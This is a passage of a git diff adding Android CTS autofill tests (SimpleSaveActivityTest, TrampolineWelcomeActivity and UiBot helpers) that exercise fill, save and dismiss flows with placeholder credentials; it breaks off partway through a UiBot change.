+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.SimpleSaveActivity.FillExpectation;
+import android.content.Intent;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+
+public class SimpleSaveActivityTest extends CustomDescriptionWithLinkTestCase {
+
+ @Rule
+ public final AutofillActivityTestRule<SimpleSaveActivity> mActivityRule =
+ new AutofillActivityTestRule<SimpleSaveActivity>(SimpleSaveActivity.class, false);
+
+ private SimpleSaveActivity mActivity;
+
+ private void startActivity() {
+ startActivity(false);
+ }
+
+ private void startActivity(boolean remainOnRecents) {
+ final Intent intent = new Intent(mContext, SimpleSaveActivity.class);
+ if (remainOnRecents) {
+ intent.setFlags(
+ Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+ }
+ mActivity = mActivityRule.launchActivity(intent);
+ }
+
+ private void restartActivity() {
+ final Intent intent = new Intent(mContext.getApplicationContext(),
+ SimpleSaveActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
+ mContext.startActivity(intent);
+ }
+
+ @Test
+ public void testAutoFillOneDatasetAndSave() throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_INPUT, "id")
+ .setField(ID_PASSWORD, "pass")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+
+ // Select dataset.
+ final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
+ sUiBot.selectDataset("YO");
+ autofillExpecation.assertAutoFilled();
+
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("ID");
+ mActivity.mPassword.setText("PASS");
+ mActivity.mCommit.performClick();
+ });
+ final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Save it...
+ sUiBot.saveForAutofill(saveUi, true);
+
+ // ... and assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
+ }
+
+ /**
+ * Simple test that only uses UiAutomator to interact with the activity, so it indirectly
+ * tests the integration of Autofill with Accessibility.
+ */
+ @Test
+ public void testAutoFillOneDatasetAndSave_usingUiAutomatorOnly() throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_INPUT, "id")
+ .setField(ID_PASSWORD, "pass")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ sUiBot.assertShownByRelativeId(ID_INPUT).click();
+ sReplier.getNextFillRequest();
+
+ // Select dataset...
+ sUiBot.selectDataset("YO");
+
+ // ...and assert autofilled values.
+ final UiObject2 input = sUiBot.assertShownByRelativeId(ID_INPUT);
+ final UiObject2 password = sUiBot.assertShownByRelativeId(ID_PASSWORD);
+
+ assertWithMessage("wrong value for 'input'").that(input.getText()).isEqualTo("id");
+ // TODO: password field is shown as **** ; ideally we should assert it's a password
+ // field, but UiAutomator does not exposes that info.
+ final String visiblePassword = password.getText();
+ assertWithMessage("'password' should not be visible").that(visiblePassword)
+ .isNotEqualTo("pass");
+ assertWithMessage("wrong value for 'password'").that(visiblePassword).hasLength(4);
+
+ // Trigger save...
+ input.setText("ID");
+ password.setText("PASS");
+ sUiBot.assertShownByRelativeId(ID_COMMIT).click();
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+ // ... and assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
+ }
+
+ @Test
+ public void testSave() throws Exception {
+ saveTest(false);
+ }
+
+ @Test
+ public void testSave_afterRotation() throws Exception {
+ sUiBot.setScreenOrientation(UiBot.PORTRAIT);
+ try {
+ saveTest(true);
+ } finally {
+ sUiBot.setScreenOrientation(UiBot.PORTRAIT);
+ cleanUpAfterScreenOrientationIsBackToPortrait();
+ }
+ }
+
+ private void saveTest(boolean rotate) throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+ UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ if (rotate) {
+ // After the device rotates, the input field get focus and generate a new session.
+ sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+ sUiBot.setScreenOrientation(UiBot.LANDSCAPE);
+ saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+ }
+
+ // Save it...
+ sUiBot.saveForAutofill(saveUi, true);
+
+ // ... and assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+ }
+
+ @Test
+ public void testSaveThenStartNewSessionRightAway() throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save and start a new session right away.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ mActivity.getAutofillManager().requestAutofill(mActivity.mInput);
+ });
+
+ // Make sure Save UI for 1st session was canceled....
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+ //... and 2nd session canceled as well.
+ Helper.assertNoDanglingSessions();
+ }
+
+ @Test
+ public void testCancelPreventsSaveUiFromShowing() throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Cancel session.
+ mActivity.getAutofillManager().cancel();
+ Helper.assertNoDanglingSessions();
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+
+ // Assert it's not showing.
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ }
+
+ @Test
+ public void testDismissSave_byTappingBack() throws Exception {
+ startActivity();
+ dismissSaveTest(DismissType.BACK_BUTTON);
+ }
+
+ @Test
+ public void testDismissSave_byTappingHome() throws Exception {
+ startActivity();
+ dismissSaveTest(DismissType.HOME_BUTTON);
+ }
+
+ @Test
+ public void testDismissSave_byTouchingOutside() throws Exception {
+ startActivity();
+ dismissSaveTest(DismissType.TOUCH_OUTSIDE);
+ }
+
+ @Test
+ public void testDismissSave_byFocusingOutside() throws Exception {
+ startActivity();
+ dismissSaveTest(DismissType.FOCUS_OUTSIDE);
+ }
+
+ @Test
+ @Ignore("Test fail on some devices because Recents UI is not well defined: b/72044685")
+ public void testDismissSave_byTappingRecents() throws Exception {
+ // Launches a different activity first.
+ startWelcomeActivityOnNewTask();
+
+ // Then launches the main activity.
+ startActivity(true);
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+
+ // And finally test it..
+ dismissSaveTest(DismissType.RECENTS_BUTTON);
+ }
+
+ private void dismissSaveTest(DismissType dismissType) throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+ sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Then make sure it goes away when user doesn't want it..
+ switch (dismissType) {
+ case BACK_BUTTON:
+ sUiBot.pressBack();
+ break;
+ case HOME_BUTTON:
+ sUiBot.pressHome();
+ break;
+ case TOUCH_OUTSIDE:
+ sUiBot.assertShownByText(TEXT_LABEL).click();
+ break;
+ case FOCUS_OUTSIDE:
+ mActivity.syncRunOnUiThread(() -> mActivity.mLabel.requestFocus());
+ sUiBot.assertShownByText(TEXT_LABEL).click();
+ break;
+ case RECENTS_BUTTON:
+ sUiBot.switchAppsUsingRecents();
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+ break;
+ default:
+ throw new IllegalArgumentException("invalid dismiss type: " + dismissType);
+ }
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ }
+
+ @Test
+ public void testTapHomeWhileDatasetPickerUiIsShowing() throws Exception {
+ startActivity();
+ enableService();
+ final MyAutofillCallback callback = mActivity.registerCallback();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_INPUT, "id")
+ .setField(ID_PASSWORD, "pass")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ sUiBot.assertShownByRelativeId(ID_INPUT).click();
+ sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("YO");
+ callback.assertUiShownEvent(mActivity.mInput);
+
+ // Go home, you are drunk!
+ sUiBot.pressHome();
+ sUiBot.assertNoDatasets();
+ callback.assertUiHiddenEvent(mActivity.mInput);
+
+ // Switch back to the activity.
+ restartActivity();
+ sUiBot.assertShownByText(TEXT_LABEL, Helper.ACTIVITY_RESURRECTION_MS);
+ final UiObject2 datasetPicker = sUiBot.assertDatasets("YO");
+ callback.assertUiShownEvent(mActivity.mInput);
+
+ // Now autofill it.
+ final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
+ sUiBot.selectDataset(datasetPicker, "YO");
+ autofillExpecation.assertAutoFilled();
+ }
+
+ @Test
+ public void testTapHomeWhileSaveUiIsShowing() throws Exception {
+ startActivity();
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ sUiBot.assertNoDatasets();
+
+ // Trigger save, but don't tap it.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+ sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Go home, you are drunk!
+ sUiBot.pressHome();
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ Helper.assertNoDanglingSessions();
+
+ // Prepare the response for the next session, which will be automatically triggered
+ // when the activity is brought back.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_INPUT, "id")
+ .setField(ID_PASSWORD, "pass")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+
+ // Switch back to the activity.
+ restartActivity();
+ sUiBot.assertShownByText(TEXT_LABEL, Helper.ACTIVITY_RESURRECTION_MS);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ sReplier.getNextFillRequest();
+ sUiBot.assertNoDatasets();
+
+ // Trigger and select UI.
+ mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
+ final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
+ sUiBot.selectDataset("YO");
+
+ // Assert it.
+ autofillExpecation.assertAutoFilled();
+ }
+
+ private void startWelcomeActivityOnNewTask() throws Exception {
+ final Intent intent = new Intent(mContext, WelcomeActivity.class);
+ intent.setFlags(
+ Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+ mContext.startActivity(intent);
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+ }
+
+ @Override
+ protected void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
+ throws Exception {
+ startActivity();
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setCustomDescription(newCustomDescription(WelcomeActivity.class))
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+ final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+
+ // Tap the link.
+ tapSaveUiLink(saveUi);
+
+ // Make sure new activity is shown...
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // .. then do something to return to previous activity...
+ switch (type) {
+ case ROTATE_THEN_TAP_BACK_BUTTON:
+ // After the device rotates, the input field get focus and generate a new session.
+ sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+ sUiBot.setScreenOrientation(UiBot.LANDSCAPE);
+ // not breaking on purpose
+ case TAP_BACK_BUTTON:
+ // ..then go back and save it.
+ sUiBot.pressBack();
+ break;
+ case FINISH_ACTIVITY:
+ // ..then finishes it.
+ WelcomeActivity.finishIt();
+ break;
+ default:
+ throw new IllegalArgumentException("invalid type: " + type);
+ }
+ // Make sure previous activity is back...
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+
+ // ... and tap save.
+ final UiObject2 newSaveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+ sUiBot.saveForAutofill(newSaveUi, true);
+
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+
+ }
+
+ @Override
+ protected void cleanUpAfterScreenOrientationIsBackToPortrait() throws Exception {
+ sReplier.getNextFillRequest();
+ }
+
+ @Override
+ protected void tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction action,
+ boolean manualRequest) throws Exception {
+ startActivity();
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setCustomDescription(newCustomDescription(WelcomeActivity.class))
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+ final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+
+ // Tap the link.
+ tapSaveUiLink(saveUi);
+
+ // Make sure new activity is shown.
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Tap back to restore the Save UI...
+ sUiBot.pressBack();
+ // Make sure previous activity is back...
+ sUiBot.assertShownByRelativeId(ID_LABEL);
+
+ // ...but don't tap it...
+ final UiObject2 saveUi2 = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // ...instead, do something to dismiss it:
+ switch (action) {
+ case TOUCH_OUTSIDE:
+ sUiBot.assertShownByRelativeId(ID_LABEL).longClick();
+ break;
+ case TAP_NO_ON_SAVE_UI:
+ sUiBot.saveForAutofill(saveUi2, false);
+ break;
+ case TAP_YES_ON_SAVE_UI:
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+ Helper.assertNoDanglingSessions();
+ break;
+ default:
+ throw new IllegalArgumentException("invalid action: " + action);
+ }
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Make sure previous session was finished.
+ Helper.assertNoDanglingSessions();
+
+ // Now triggers a new session and do business as usual...
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ if (manualRequest) {
+ mActivity.getAutofillManager().requestAutofill(mActivity.mInput);
+ } else {
+ mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
+ }
+
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("42");
+ mActivity.mCommit.performClick();
+ });
+
+ // Save it...
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+ // ... and assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "42");
+ }
+
+ @Override
+ protected void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
+ throws Exception {
+ startActivity(type == PostSaveLinkTappedAction.TAP_RECENTS);
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setCustomDescription(newCustomDescription(WelcomeActivity.class))
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+ final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+
+ // Tap the link.
+ tapSaveUiLink(saveUi);
+ // Make sure new activity is shown...
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+ switch (type) {
+ case TAP_RECENTS:
+ sUiBot.switchAppsUsingRecents();
+ break;
+ case LAUNCH_PREVIOUS_ACTIVITY:
+ startActivity(SimpleSaveActivity.class);
+ break;
+ case LAUNCH_NEW_ACTIVITY:
+ // Launch a 3rd activity...
+ startActivity(LoginActivity.class);
+ sUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
+ // ...then go back
+ sUiBot.pressBack();
+ break;
+ default:
+ throw new IllegalArgumentException("invalid type: " + type);
+ }
+ // Make sure right activity is showing
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ }
+
+ @Override
+ protected void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
+ throws Exception {
+ // Prepare activity.
+ startActivity();
+ mActivity.mInput.getRootView()
+ .setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS);
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setCustomDescription(newCustomDescription(TrampolineWelcomeActivity.class))
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.getAutofillManager().requestAutofill(mActivity.mInput);
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+ final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+
+ // Tap the link.
+ tapSaveUiLink(saveUi);
+
+ // Make sure new activity is shown...
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+
+ // Save UI should be showing as well, since Trampoline finished.
+ sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Go back and make sure it's showing the right activity.
+ sUiBot.pressBack();
+ sUiBot.assertShownByRelativeId(ID_LABEL);
+
+ // Now start a new session.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PASSWORD)
+ .build());
+ mActivity.getAutofillManager().requestAutofill(mActivity.mPassword);
+ sReplier.getNextFillRequest();
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mPassword.setText("42");
+ mActivity.mCommit.performClick();
+ });
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "42");
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java
index b96e5e3..d4be2e6 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java
@@ -15,16 +15,14 @@
*/
package android.autofillservice.cts;
+import static android.autofillservice.cts.AbstractTimePickerActivity.ID_OUTPUT;
+import static android.autofillservice.cts.AbstractTimePickerActivity.ID_TIME_PICKER;
import static android.autofillservice.cts.Helper.assertNumberOfChildren;
import static android.autofillservice.cts.Helper.assertTextAndValue;
import static android.autofillservice.cts.Helper.assertTextIsSanitized;
import static android.autofillservice.cts.Helper.assertTimeValue;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-import static android.autofillservice.cts.AbstractTimePickerActivity.ID_OUTPUT;
-import static android.autofillservice.cts.AbstractTimePickerActivity.ID_TIME_PICKER;
import static com.google.common.truth.Truth.assertWithMessage;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TrampolineWelcomeActivity.java b/tests/autofillservice/src/android/autofillservice/cts/TrampolineWelcomeActivity.java
new file mode 100644
index 0000000..dc39808
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/TrampolineWelcomeActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
+ * Activity that launches a new {@link WelcomeActivity} and finishes right away.
+ */
+public class TrampolineWelcomeActivity extends AbstractAutoFillActivity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ startActivity(new Intent(this, WelcomeActivity.class));
+ finish();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 774d7fe..82d4700 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -18,7 +18,9 @@
import static android.autofillservice.cts.Helper.NOT_SHOWING_TIMEOUT_MS;
import static android.autofillservice.cts.Helper.SAVE_TIMEOUT_MS;
+import static android.autofillservice.cts.Helper.UI_RECENTS_SWITCH_TIMEOUT_MS;
import static android.autofillservice.cts.Helper.UI_TIMEOUT_MS;
+import static android.autofillservice.cts.Helper.runShellCommand;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
@@ -29,12 +31,14 @@
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
+import static org.junit.Assume.assumeTrue;
+
import android.app.Instrumentation;
import android.app.UiAutomation;
+import android.content.Context;
import android.content.res.Resources;
import android.os.SystemClock;
import android.service.autofill.SaveInfo;
-import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.BySelector;
import android.support.test.uiautomator.UiDevice;
@@ -43,6 +47,7 @@
import android.util.Log;
import android.view.accessibility.AccessibilityWindowInfo;
+import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
@@ -54,6 +59,7 @@
private static final String RESOURCE_ID_DATASET_PICKER = "autofill_dataset_picker";
private static final String RESOURCE_ID_SAVE_SNACKBAR = "autofill_save";
+ private static final String RESOURCE_ID_SAVE_ICON = "autofill_save_icon";
private static final String RESOURCE_ID_SAVE_TITLE = "autofill_save_title";
private static final String RESOURCE_ID_CONTEXT_MENUITEM = "floating_toolbar_menu_item_text";
@@ -83,15 +89,24 @@
private final UiDevice mDevice;
+ private final Context mContext;
private final String mPackageName;
private final UiAutomation mAutoman;
UiBot(Instrumentation instrumentation) throws Exception {
mDevice = UiDevice.getInstance(instrumentation);
- mPackageName = instrumentation.getContext().getPackageName();
+ mContext = instrumentation.getContext();
+ mPackageName = mContext.getPackageName();
mAutoman = instrumentation.getUiAutomation();
}
+ void assumeMinimumResolution(int minSize) {
+ final int width = mDevice.getDisplayWidth();
+ final int heigth = mDevice.getDisplayHeight();
+ final int min = Math.min(width, heigth);
+ assumeTrue("Screen size is too small (" + width + "x" + heigth + ")", min >= minSize);
+ }
+
/**
* Asserts the dataset chooser is not shown.
*/
@@ -237,6 +252,15 @@
}
/**
+ * Asserts the id is shown on the screen, using a resource id from the test package.
+ */
+ UiObject2 assertShownByRelativeId(String id) {
+ final UiObject2 obj = waitForObject(By.res(mPackageName, id));
+ assertThat(obj).isNotNull();
+ return obj;
+ }
+
+ /**
* Gets the text set on a view.
*/
String getTextById(String id) {
@@ -274,7 +298,7 @@
}
/**
- * Presses the back button.
+ * Presses the Back button.
*/
void pressBack() {
Log.d(TAG, "pressBack()");
@@ -282,12 +306,30 @@
}
/**
- * Presses the home button.
+ * Presses the Home button.
*/
void pressHome() {
Log.d(TAG, "pressHome()");
mDevice.pressHome();
}
+
+ /**
+ * Uses the Recents button to switch back to previous activity
+ */
+ void switchAppsUsingRecents() throws Exception {
+ Log.d(TAG, "switchAppsUsingRecents()");
+
+ // Press once to show list of apps...
+ mDevice.pressRecentApps();
+
+ // ...wait until apps are shown...
+ // TODO(b/37566627): figure out a way to wait for a specific UI instead.
+ SystemClock.sleep(UI_RECENTS_SWITCH_TIMEOUT_MS);
+
+ // ...press again to go back to the activity.
+ mDevice.pressRecentApps();
+ }
+
/**
* Asserts the save snackbar is not showing and returns it.
*/
@@ -346,8 +388,15 @@
final UiObject2 snackbar = waitForObject(By.res("android", RESOURCE_ID_SAVE_SNACKBAR),
timeout);
- final UiObject2 titleView = snackbar.findObject(By.res("android", RESOURCE_ID_SAVE_TITLE));
- assertWithMessage("save title (%s)", RESOURCE_ID_SAVE_TITLE).that(titleView).isNotNull();
+ final UiObject2 titleView =
+ waitForObject(snackbar, By.res("android", RESOURCE_ID_SAVE_TITLE), UI_TIMEOUT_MS);
